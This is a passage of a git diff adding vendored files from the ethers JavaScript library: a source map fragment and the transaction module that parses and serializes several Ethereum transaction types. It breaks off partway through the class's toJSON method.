+{"version":3,"file":"transaction.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/transaction.ts"],"names":[],"mappings":"AAGA,OAAO,EACgB,SAAS,EAC/B,MAAM,oBAAoB,CAAC;AAU5B,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AACjE,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AAExD,OAAO,KAAK,EACR,UAAU,EAAE,aAAa,EAAE,aAAa,EAAE,iBAAiB,EAC9D,MAAM,YAAY,CAAC;AAepB;;;;GAIG;AACH,MAAM,WAAW,eAAe,CAAC,CAAC,GAAG,MAAM;IACvC;;OAEG;IACH,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAErB;;OAEG;IACH,EAAE,CAAC,EAAE,IAAI,GAAG,CAAC,CAAC;IAEd;;OAEG;IACH,IAAI,CAAC,EAAE,IAAI,GAAG,CAAC,CAAC;IAEhB;;OAEG;IACH,KAAK,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAEtB;;OAEG;IACH,QAAQ,CAAC,EAAE,IAAI,GAAG,YAAY,CAAC;IAE/B;;OAEG;IACH,QAAQ,CAAC,EAAE,IAAI,GAAG,YAAY,CAAC;IAE/B;;OAEG;IACH,oBAAoB,CAAC,EAAE,IAAI,GAAG,YAAY,CAAC;IAE3C;;OAEG;IACH,YAAY,CAAC,EAAE,IAAI,GAAG,YAAY,CAAC;IAEnC;;OAEG;IACH,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAErB;;OAEG;IACH,KAAK,CAAC,EAAE,IAAI,GAAG,YAAY,CAAC;IAE5B;;OAEG;IACH,OAAO,CAAC,EAA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ACH,QAAQ,IAAI,IAAI,IAAI,CAAC,WAAW,GAAG;QAAE,IAAI,EAAE,CAAC,CAAC;QAAC,EAAE,EAAE,MAAM,CAAC;QAAC,UAAU,EAAE,UAAU,CAAC;QAAC,YAAY,EAAE,MAAM,CAAC;QAAC,oBAAoB,EAAE,MAAM,CAAC;QAAC,gBAAgB,EAAE,MAAM,CAAC;QAAC,mBAAmB,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;KAAE,CAAC;IAIrM;;OAEG;IACH,KAAK,IAAI,WAAW;IAIpB;;OAEG;IACH,MAAM,IAAI,GAAG;IAuBb;;;OAGG;IACH,MAAM,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,MAAM,GAAG,eAAe,CAAC,MAAM,CAAC,GAAG,WAAW;CAyDlE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/transaction/transaction.js b/node_modules/ethers/lib.esm/transaction/transaction.js new file mode 100644 index 000000000000..66d0f9220514 --- /dev/null +++ b/node_modules/ethers/lib.esm/transaction/transaction.js @@ -0,0 +1,1144 @@ +import { getAddress } from "../address/index.js"; +import { ZeroAddress } from "../constants/addresses.js"; +import { keccak256, sha256, Signature, SigningKey } from "../crypto/index.js"; +import { concat, decodeRlp, encodeRlp, getBytes, getBigInt, getNumber, hexlify, assert, assertArgument, isBytesLike, isHexString, toBeArray, zeroPadValue } from "../utils/index.js"; +import { accessListify } from "./accesslist.js"; +import { authorizationify } from "./authorization.js"; +import { recoverAddress } from "./address.js"; +const BN_0 = BigInt(0); +const BN_2 = BigInt(2); +const BN_27 = BigInt(27); +const BN_28 = BigInt(28); +const BN_35 = BigInt(35); +const BN_MAX_UINT = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +const BLOB_SIZE = 4096 * 32; +function getKzgLibrary(kzg) { + const blobToKzgCommitment = (blob) => { + if ("computeBlobProof" in kzg) { + // micro-ecc-signer; check for computeBlobProof since this API + // expects a string while the kzg-wasm below expects a Unit8Array + if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + return getBytes(kzg.blobToKzgCommitment(hexlify(blob))); + } + } + else if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array + return getBytes(kzg.blobToKzgCommitment(blob)); + } + // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string + if ("blobToKZGCommitment" in kzg && typeof (kzg.blobToKZGCommitment) === "function") { + return getBytes(kzg.blobToKZGCommitment(hexlify(blob))); + } + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + const computeBlobKzgProof = (blob, commitment) => { + // micro-ecc-signer + if ("computeBlobProof" in kzg && typeof (kzg.computeBlobProof) === "function") { + return getBytes(kzg.computeBlobProof(hexlify(blob), hexlify(commitment))); + } + // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array + if ("computeBlobKzgProof" in kzg && typeof (kzg.computeBlobKzgProof) === "function") { + return kzg.computeBlobKzgProof(blob, commitment); + } + // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string + if ("computeBlobKZGProof" in kzg && typeof (kzg.computeBlobKZGProof) === "function") { + return getBytes(kzg.computeBlobKZGProof(hexlify(blob), hexlify(commitment))); + } + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + return { blobToKzgCommitment, computeBlobKzgProof }; +} +function getVersionedHash(version, hash) { + let versioned = version.toString(16); + while (versioned.length < 2) { + versioned = "0" + versioned; + } + versioned += sha256(hash).substring(4); + return "0x" + versioned; +} +function handleAddress(value) { + if (value === "0x") { + return null; + } + return getAddress(value); +} +function handleAccessList(value, param) { + try { + return accessListify(value); + } + catch (error) { + assertArgument(false, error.message, param, value); + } +} +function handleAuthorizationList(value, param) { + try { + if (!Array.isArray(value)) { + throw new Error("authorizationList: invalid array"); + } + const result = []; + for (let i = 0; i < value.length; i++) { + const auth = value[i]; + if (!Array.isArray(auth)) { + throw new Error(`authorization[${i}]: invalid array`); + } + if (auth.length !== 6) { + throw new Error(`authorization[${i}]: wrong length`); + } + if (!auth[1]) { + throw new Error(`authorization[${i}]: null address`); + } + result.push({ + address: handleAddress(auth[1]), + nonce: handleUint(auth[2], "nonce"), + chainId: handleUint(auth[0], "chainId"), + signature: Signature.from({ + yParity: handleNumber(auth[3], "yParity"), + r: zeroPadValue(auth[4], 32), + s: zeroPadValue(auth[5], 32) + }) + }); + } + return result; + } + catch (error) { + assertArgument(false, error.message, param, value); + } +} +function handleNumber(_value, param) { + if (_value === "0x") { + return 0; + } + return getNumber(_value, param); +} +function handleUint(_value, param) { + if (_value === "0x") { + return BN_0; + } + const value = getBigInt(_value, param); + assertArgument(value <= BN_MAX_UINT, "value exceeds uint size", param, value); + return value; +} +function formatNumber(_value, name) { + const value = getBigInt(_value, "value"); + const result = toBeArray(value); + assertArgument(result.length <= 32, `value too large`, `tx.${name}`, value); + return result; +} +function formatAccessList(value) { + return accessListify(value).map((set) => [set.address, set.storageKeys]); +} +function formatAuthorizationList(value) { + return value.map((a) => { + return [ + formatNumber(a.chainId, "chainId"), + a.address, + formatNumber(a.nonce, "nonce"), + formatNumber(a.signature.yParity, "yParity"), + toBeArray(a.signature.r), + toBeArray(a.signature.s) + ]; + }); +} +function formatHashes(value, param) { + assertArgument(Array.isArray(value), `invalid ${param}`, "value", value); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid ${ param } hash", `value[${i}]`, value[i]); + } + return value; +} +function _parseLegacy(data) { + const fields = decodeRlp(data); + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), "invalid field count for legacy transaction", "data", data); + const tx = { + type: 0, + nonce: handleNumber(fields[0], "nonce"), + gasPrice: handleUint(fields[1], "gasPrice"), + gasLimit: handleUint(fields[2], "gasLimit"), + to: handleAddress(fields[3]), + value: handleUint(fields[4], "value"), + data: hexlify(fields[5]), + chainId: BN_0 + }; + // Legacy unsigned transaction + if (fields.length === 6) { + return tx; + } + const v = handleUint(fields[6], "v"); + const r = handleUint(fields[7], "r"); + const s = handleUint(fields[8], "s"); + if (r === BN_0 && s === BN_0) { + // EIP-155 unsigned transaction + tx.chainId = v; + } + else { + // Compute the EIP-155 chain ID (or 0 for legacy) + let chainId = (v - BN_35) / BN_2; + if (chainId < BN_0) { + chainId = BN_0; + } + tx.chainId = chainId; + // Signed Legacy Transaction + assertArgument(chainId !== BN_0 || (v === BN_27 || v === BN_28), "non-canonical legacy v", "v", fields[6]); + tx.signature = Signature.from({ + r: zeroPadValue(fields[7], 32), + s: zeroPadValue(fields[8], 32), + v + }); + //tx.hash = keccak256(data); + } + return tx; +} +function _serializeLegacy(tx, sig) { + const fields = [ + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + ]; + let chainId = BN_0; + if (tx.chainId != BN_0) { + // A chainId was provided; if non-zero we'll use EIP-155 + chainId = getBigInt(tx.chainId, "tx.chainId"); + // We have a chainId in the tx and an EIP-155 v in the signature, + // make sure they agree with each other + assertArgument(!sig || sig.networkV == null || sig.legacyChainId === chainId, "tx.chainId/sig.v mismatch", "sig", sig); + } + else if (tx.signature) { + // No explicit chainId, but EIP-155 have a derived implicit chainId + const legacy = tx.signature.legacyChainId; + if (legacy != null) { + chainId = legacy; + } + } + // Requesting an unsigned transaction + if (!sig) { + // We have an EIP-155 transaction (chainId was specified and non-zero) + if (chainId !== BN_0) { + fields.push(toBeArray(chainId)); + fields.push("0x"); + fields.push("0x"); + } + return encodeRlp(fields); + } + // @TODO: We should probably check that tx.signature, chainId, and sig + // match but that logic could break existing code, so schedule + // this for the next major bump. + // Compute the EIP-155 v + let v = BigInt(27 + sig.yParity); + if (chainId !== BN_0) { + v = Signature.getChainIdV(chainId, sig.v); + } + else if (BigInt(sig.v) !== v) { + assertArgument(false, "tx.chainId/sig.v mismatch", "sig", sig); + } + // Add the signature + fields.push(toBeArray(v)); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + return encodeRlp(fields); +} +function _parseEipSignature(tx, fields) { + let yParity; + try { + yParity = handleNumber(fields[0], "yParity"); + if (yParity !== 0 && yParity !== 1) { + throw new Error("bad yParity"); + } + } + catch (error) { + assertArgument(false, "invalid yParity", "yParity", fields[0]); + } + const r = zeroPadValue(fields[1], 32); + const s = zeroPadValue(fields[2], 32); + const signature = Signature.from({ r, s, yParity }); + tx.signature = signature; +} +function _parseEip1559(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), "invalid field count for transaction type: 2", "data", hexlify(data)); + const tx = { + type: 2, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + }; + // Unsigned EIP-1559 Transaction + if (fields.length === 9) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(9)); + return tx; +} +function _serializeEip1559(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x02", encodeRlp(fields)]); +} +function _parseEip2930(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), "invalid field count for transaction type: 1", "data", hexlify(data)); + const tx = { + type: 1, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + gasPrice: handleUint(fields[2], "gasPrice"), + gasLimit: handleUint(fields[3], "gasLimit"), + to: handleAddress(fields[4]), + value: handleUint(fields[5], "value"), + data: hexlify(fields[6]), + accessList: handleAccessList(fields[7], "accessList") + }; + // Unsigned EIP-2930 Transaction + if (fields.length === 8) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(8)); + return tx; +} +function _serializeEip2930(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "recoveryParam")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x01", encodeRlp(fields)]); +} +function _parseEip4844(data) { + let fields = decodeRlp(getBytes(data).slice(1)); + let typeName = "3"; + let blobs = null; + // Parse the network format + if (fields.length === 4 && Array.isArray(fields[0])) { + typeName = "3 (network format)"; + const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3]; + assertArgument(Array.isArray(fBlobs), "invalid network format: blobs not an array", "fields[1]", fBlobs); + assertArgument(Array.isArray(fCommits), "invalid network format: commitments not an array", "fields[2]", fCommits); + assertArgument(Array.isArray(fProofs), "invalid network format: proofs not an array", "fields[3]", fProofs); + assertArgument(fBlobs.length === fCommits.length, "invalid network format: blobs/commitments length mismatch", "fields", fields); + assertArgument(fBlobs.length === fProofs.length, "invalid network format: blobs/proofs length mismatch", "fields", fields); + blobs = []; + for (let i = 0; i < fields[1].length; i++) { + blobs.push({ + data: fBlobs[i], + commitment: fCommits[i], + proof: fProofs[i], + }); + } + fields = fields[0]; + } + assertArgument(Array.isArray(fields) && (fields.length === 11 || fields.length === 14), `invalid field count for transaction type: ${typeName}`, "data", hexlify(data)); + const tx = { + type: 3, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + maxFeePerBlobGas: handleUint(fields[9], "maxFeePerBlobGas"), + blobVersionedHashes: fields[10] + }; + if (blobs) { + tx.blobs = blobs; + } + assertArgument(tx.to != null, `invalid address for transaction type: ${typeName}`, "data", data); + assertArgument(Array.isArray(tx.blobVersionedHashes), "invalid blobVersionedHashes: must be an array", "data", data); + for (let i = 0; i < tx.blobVersionedHashes.length; i++) { + assertArgument(isHexString(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${i}: must be length 32`, "data", data); + } + // Unsigned EIP-4844 Transaction + if (fields.length === 11) { + return tx; + } + // @TODO: Do we need to do this? This is only called internally + // and used to verify hashes; it might save time to not do this + //tx.hash = keccak256(concat([ "0x03", encodeRlp(fields) ])); + _parseEipSignature(tx, fields.slice(11)); + return tx; +} +function _serializeEip4844(tx, sig, blobs) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || ZeroAddress), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatNumber(tx.maxFeePerBlobGas || 0, "maxFeePerBlobGas"), + formatHashes(tx.blobVersionedHashes || [], "blobVersionedHashes") + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + // We have blobs; return the network wrapped format + if (blobs) { + return concat([ + "0x03", + encodeRlp([ + fields, + blobs.map((b) => b.data), + blobs.map((b) => b.commitment), + blobs.map((b) => b.proof), + ]) + ]); + } + } + return concat(["0x03", encodeRlp(fields)]); +} +function _parseEip7702(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), "invalid field count for transaction type: 4", "data", hexlify(data)); + const tx = { + type: 4, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + authorizationList: handleAuthorizationList(fields[9], "authorizationList"), + }; + // Unsigned EIP-7702 Transaction + if (fields.length === 10) { + return tx; + } + _parseEipSignature(tx, fields.slice(10)); + return tx; +} +function _serializeEip7702(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatAuthorizationList(tx.authorizationList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x04", encodeRlp(fields)]); +} +/** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ +export class Transaction { + #type; + #to; + #data; + #nonce; + #gasLimit; + #gasPrice; + #maxPriorityFeePerGas; + #maxFeePerGas; + #value; + #chainId; + #sig; + #accessList; + #maxFeePerBlobGas; + #blobVersionedHashes; + #kzg; + #blobs; + #auths; + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type() { return this.#type; } + set type(value) { + switch (value) { + case null: + this.#type = null; + break; + case 0: + case "legacy": + this.#type = 0; + break; + case 1: + case "berlin": + case "eip-2930": + this.#type = 1; + break; + case 2: + case "london": + case "eip-1559": + this.#type = 2; + break; + case 3: + case "cancun": + case "eip-4844": + this.#type = 3; + break; + case 4: + case "pectra": + case "eip-7702": + this.#type = 4; + break; + default: + assertArgument(false, "unsupported transaction type", "type", value); + } + } + /** + * The name of the transaction type. + */ + get typeName() { + switch (this.type) { + case 0: return "legacy"; + case 1: return "eip-2930"; + case 2: return "eip-1559"; + case 3: return "eip-4844"; + case 4: return "eip-7702"; + } + return null; + } + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to() { + const value = this.#to; + if (value == null && this.type === 3) { + return ZeroAddress; + } + return value; + } + set to(value) { + this.#to = (value == null) ? null : getAddress(value); + } + /** + * The transaction nonce. + */ + get nonce() { return this.#nonce; } + set nonce(value) { this.#nonce = getNumber(value, "value"); } + /** + * The gas limit. + */ + get gasLimit() { return this.#gasLimit; } + set gasLimit(value) { this.#gasLimit = getBigInt(value); } + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice() { + const value = this.#gasPrice; + if (value == null && (this.type === 0 || this.type === 1)) { + return BN_0; + } + return value; + } + set gasPrice(value) { + this.#gasPrice = (value == null) ? null : getBigInt(value, "gasPrice"); + } + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas() { + const value = this.#maxPriorityFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0; + } + return null; + } + return value; + } + set maxPriorityFeePerGas(value) { + this.#maxPriorityFeePerGas = (value == null) ? null : getBigInt(value, "maxPriorityFeePerGas"); + } + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas() { + const value = this.#maxFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { + return BN_0; + } + return null; + } + return value; + } + set maxFeePerGas(value) { + this.#maxFeePerGas = (value == null) ? null : getBigInt(value, "maxFeePerGas"); + } + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data() { return this.#data; } + set data(value) { this.#data = hexlify(value); } + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value() { return this.#value; } + set value(value) { + this.#value = getBigInt(value, "value"); + } + /** + * The chain ID this transaction is valid on. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = getBigInt(value); } + /** + * If signed, the signature for this transaction. + */ + get signature() { return this.#sig || null; } + set signature(value) { + this.#sig = (value == null) ? null : Signature.from(value); + } + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList() { + const value = this.#accessList || null; + if (value == null) { + if (this.type === 1 || this.type === 2 || this.type === 3) { + // @TODO: in v7, this should assign the value or become + // a live object itself, otherwise mutation is inconsistent + return []; + } + return null; + } + return value; + } + set accessList(value) { + this.#accessList = (value == null) ? null : accessListify(value); + } + get authorizationList() { + const value = this.#auths || null; + if (value == null) { + if (this.type === 4) { + // @TODO: in v7, this should become a live object itself, + // otherwise mutation is inconsistent + return []; + } + } + return value; + } + set authorizationList(auths) { + this.#auths = (auths == null) ? null : auths.map((a) => authorizationify(a)); + } + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas() { + const value = this.#maxFeePerBlobGas; + if (value == null && this.type === 3) { + return BN_0; + } + return value; + } + set maxFeePerBlobGas(value) { + this.#maxFeePerBlobGas = (value == null) ? null : getBigInt(value, "maxFeePerBlobGas"); + } + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes() { + // @TODO: Mutation is inconsistent; if unset, the returned value + // cannot mutate the object, if set it can + let value = this.#blobVersionedHashes; + if (value == null && this.type === 3) { + return []; + } + return value; + } + set blobVersionedHashes(value) { + if (value != null) { + assertArgument(Array.isArray(value), "blobVersionedHashes must be an Array", "value", value); + value = value.slice(); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid blobVersionedHash", `value[${i}]`, value[i]); + } + } + this.#blobVersionedHashes = value; + } + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs() { + if (this.#blobs == null) { + return null; + } + return this.#blobs.map((b) => Object.assign({}, b)); + } + set blobs(_blobs) { + if (_blobs == null) { + this.#blobs = null; + return; + } + const blobs = []; + const versionedHashes = []; + for (let i = 0; i < _blobs.length; i++) { + const blob = _blobs[i]; + if (isBytesLike(blob)) { + assert(this.#kzg, "adding a raw blob requires a KZG library", "UNSUPPORTED_OPERATION", { + operation: "set blobs()" + }); + let data = getBytes(blob); + assertArgument(data.length <= BLOB_SIZE, "blob is too large", `blobs[${i}]`, blob); + // Pad blob if necessary + if (data.length !== BLOB_SIZE) { + const padded = new Uint8Array(BLOB_SIZE); + padded.set(data); + data = padded; + } + const commit = this.#kzg.blobToKzgCommitment(data); + const proof = hexlify(this.#kzg.computeBlobKzgProof(data, commit)); + blobs.push({ + data: hexlify(data), + commitment: hexlify(commit), + proof + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + else { + const commit = hexlify(blob.commitment); + blobs.push({ + data: hexlify(blob.data), + commitment: commit, + proof: hexlify(blob.proof) + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + } + this.#blobs = blobs; + this.#blobVersionedHashes = versionedHashes; + } + get kzg() { return this.#kzg; } + set kzg(kzg) { + if (kzg == null) { + this.#kzg = null; + } + else { + this.#kzg = getKzgLibrary(kzg); + } + } + /** + * Creates a new Transaction with default values. + */ + constructor() { + this.#type = null; + this.#to = null; + this.#nonce = 0; + this.#gasLimit = BN_0; + this.#gasPrice = null; + this.#maxPriorityFeePerGas = null; + this.#maxFeePerGas = null; + this.#data = "0x"; + this.#value = BN_0; + this.#chainId = BN_0; + this.#sig = null; + this.#accessList = null; + this.#maxFeePerBlobGas = null; + this.#blobVersionedHashes = null; + this.#kzg = null; + this.#blobs = null; + this.#auths = null; + } + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash() { + if (this.signature == null) { + return null; + } + return keccak256(this.#getSerialized(true, false)); + } + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash() { + return keccak256(this.unsignedSerialized); + } + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from() { + if (this.signature == null) { + return null; + } + return recoverAddress(this.unsignedHash, this.signature); + } + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey() { + if (this.signature == null) { + return null; + } + return SigningKey.recoverPublicKey(this.unsignedHash, this.signature); + } + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned() { + return this.signature != null; + } + #getSerialized(signed, sidecar) { + assert(!signed || this.signature != null, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + const sig = signed ? this.signature : null; + switch (this.inferType()) { + case 0: + return _serializeLegacy(this, sig); + case 1: + return _serializeEip2930(this, sig); + case 2: + return _serializeEip1559(this, sig); + case 3: + return _serializeEip4844(this, sig, sidecar ? this.blobs : null); + case 4: + return _serializeEip7702(this, sig); + } + assert(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); + } + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized() { + return this.#getSerialized(true, true); + } + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized() { + return this.#getSerialized(false, false); + } + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType() { + const types = this.inferTypes(); + // Prefer London (EIP-1559) over Cancun (BLOb) + if (types.indexOf(2) >= 0) { + return 2; + } + // Return the highest inferred type + return (types.pop()); + } + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes() { + // Checks that there are no conflicting properties set + const hasGasPrice = this.gasPrice != null; + const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null); + const hasAccessList = (this.accessList != null); + const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes); + //if (hasGasPrice && hasFee) { + // throw new Error("transaction cannot have gasPrice and maxFeePerGas"); + //} + if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) { + assert(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", { value: this }); + } + //if (this.type === 2 && hasGasPrice) { + // throw new Error("eip-1559 transaction cannot have gasPrice"); + //} + assert(!hasFee || (this.type !== 0 && this.type !== 1), "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", { value: this }); + assert(this.type !== 0 || !hasAccessList, "legacy transaction cannot have accessList", "BAD_DATA", { value: this }); + const types = []; + // Explicit type + if (this.type != null) { + types.push(this.type); + } + else { + if (this.authorizationList && this.authorizationList.length) { + types.push(4); + } + else if (hasFee) { + types.push(2); + } + else if (hasGasPrice) { + types.push(1); + if (!hasAccessList) { + types.push(0); + } + } + else if (hasAccessList) { + types.push(1); + types.push(2); + } + else if (hasBlob && this.to) { + types.push(3); + } + else { + types.push(0); + types.push(1); + types.push(2); + types.push(3); + } + } + types.sort(); + return types; + } + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun() { + return (this.type === 3); + } + /** + * Create a copy of this transaciton. + */ + clone() { + return Transaction.from(this); + } + /** + * Return a JSON-friendly object. + */ + toJSON() { + const s = (v) => { + if (v == null) { + return null; + } + return v.toString(); + }; + return { + type: this.type, + to: this.to, + // from: this.from, + data: this.data, + nonce: this.nonce, + gasLimit: 